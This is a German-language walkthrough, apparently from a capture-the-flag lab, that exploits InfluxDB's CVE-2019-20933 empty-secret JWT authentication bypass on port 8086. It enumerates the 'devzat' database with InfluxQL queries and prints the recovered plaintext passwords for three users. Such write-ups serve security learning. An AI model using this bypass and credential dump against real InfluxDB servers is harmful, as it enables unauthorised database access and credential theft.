> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/de/ports-and-services/influxdb-8086.md).

# InfluxDB - 8086

InfluxDB CVE-2019-20933 Authentifizierungs-Bypass, Datenbank-Enumeration und Credential-Entdeckung.

Port 8086 stellt InfluxDB Version 1.7.5 bereit. Das Ziel ist von einem InfluxDB-Authentifizierungs-Bypass-Problem betroffen:

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-df2c3205b031cebdc203a734cb931590c0feb7fa%2F%7B317A43DB-B062-4926-AC09-41A23065BA7F%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

**Schwachstelle:**[CVE-2019-20933](https://nvd.nist.gov/vuln/detail/CVE-2019-20933)

{% embed url="<https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933>" %}

{% hint style="info" %}
Diese Schwachstelle ermöglicht einen Authentifizierungs-Bypass durch Ausnutzung eines JWT-Tokens, dessen `SharedSecret` leer ist, wodurch Zugriff auf die Datenbank gewährt wird.
{% endhint %}

<figure><img src="https://2955439919-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b81693707d06c94521bfa22732490b7d594c2bb2%2F%7B6EE18961-54B1-4819-A38C-D1338A4D6626%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Zugriff auf die Datenbank

Sobald Sie mit InfluxDB verbunden sind, listen Sie die verfügbaren Datenbanken auf:

```sql
SHOW DATABASES;
```

Wählen Sie die `devzat` Datenbank aus und untersuchen Sie die Benutzerdaten. Beginnen Sie mit der Auflistung der Messungen (Tabellen):

```sql
SHOW MEASUREMENTS;
```

Das **`Benutzer`** Tabelle enthält nützliche Informationen. Um die Spalten dieser Messung zu untersuchen, führen Sie aus:

```sql
SHOW FIELD KEYS FROM "user";
```

Zeigen Sie die ersten 10 Ergebnisse aus dem `Benutzer` Tabelle:

```sql
SELECT * FROM "user" LIMIT 10;
```

<table data-header-hidden><thead><tr><th width="357"></th><th></th></tr></thead><tbody><tr><td><strong>Passwort</strong></td><td><strong>Benutzername</strong></td></tr><tr><td>WillyWonka2021</td><td>wilhelm</td></tr><tr><td>woBeeYareedahc7Oogeephies7Aiseci</td><td>catherine</td></tr><tr><td>RoyalQueenBee$</td><td>charles</td></tr></tbody></table>

Das Passwort für *catherine* ist **`woBeeYareedahc7Oogeephies7Aiseci`**, das den Zugriff auf den Benutzer ermöglicht **flag**.


---

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